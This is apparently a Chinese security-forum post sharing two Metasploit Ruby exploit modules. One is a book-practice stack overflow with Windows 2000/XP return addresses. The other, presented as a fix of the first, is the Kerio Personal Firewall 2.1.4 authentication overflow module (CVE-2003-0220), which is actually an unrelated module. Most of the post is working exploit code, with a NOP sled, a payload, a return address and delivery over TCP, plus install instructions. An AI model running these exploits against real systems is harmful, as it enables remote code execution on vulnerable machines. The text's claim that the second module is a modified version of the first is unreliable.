下面是failwest的源码
require 'msf/core'
module Msf
class Exploits::Failwest::POC < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'failwest_POC',
'Version' => '1.0',
'Platform' => 'win',
'Privileged' => true,
'License' => MSF_LICENSE,
'Author' => 'FAILWEST',
'Targets' => [
['Windows 2000', {'Ret' => [200 , 0x77F8948B] }],
['Windows XP SP2',{'Ret' => [200 , 0x7C914393] }],
],
'DefaultTarget' => 0,
'Payload' => {
'Space' => 200,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Description' => %q{
this module is exploit practice of book
"Vulnerability Exploit and Analysis Technique"
used only for educational purpose
},
'Arch' => 'x86',
'References' => [
[ 'URL', 'http://www.failwest.com' ],
[ 'CVE', '44444' ],
],
'DefaultOptions' => { 'EXITFUNC' => 'process' }
))
end #end of initialize
def exploit
connect
print_status("Sending #{payload.encoded.length} byte payload...")
buf = 'a'*target['Ret'][0]
buf << [target['Ret'][1]].pack('V')
buf <<payload.encoded;
sock.put(buf)
handler
disconnect
end #end of exploit def
end
end
我试炼了,在metasploit3.3.3下不能使用
修改如下:
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Kerio Firewall 2.1.4 Authentication Packet Overflow',
'Description' => %q{
This module exploits a stack overflow in Kerio Personal Firewall
administration authentication process. This module has only been tested
against Kerio Personal Firewall 2 (2.1.4).
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'Version' => '$Revision: 7724 $',
'References' =>
[
['CVE', '2003-0220'],
['OSVDB', '6294'],
['BID', '7180'],
['URL', 'http://www1.corest.com/common/showdoc.php?idx=314&idxseccion=10'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],
[ 'Windows XP Pro SP0 English', { 'Ret' => 0x77e3171b } ],
[ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ],
],
'Privileged' => true,
'DisclosureDate' => 'April 28 2003',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(44334)
], self.class)
end
def exploit
connect
print_status("Trying target #{target.name}...")
sploit = make_nops(4468) + payload.encoded
sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV')
sock.put(sploit)
sock.get_once(-1, 3)
handler
disconnect
end
end
把代码保存为C:\Program Files\Metasploit\Framework3\msf3\modules\exploits\mywxc\poc.rb下
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!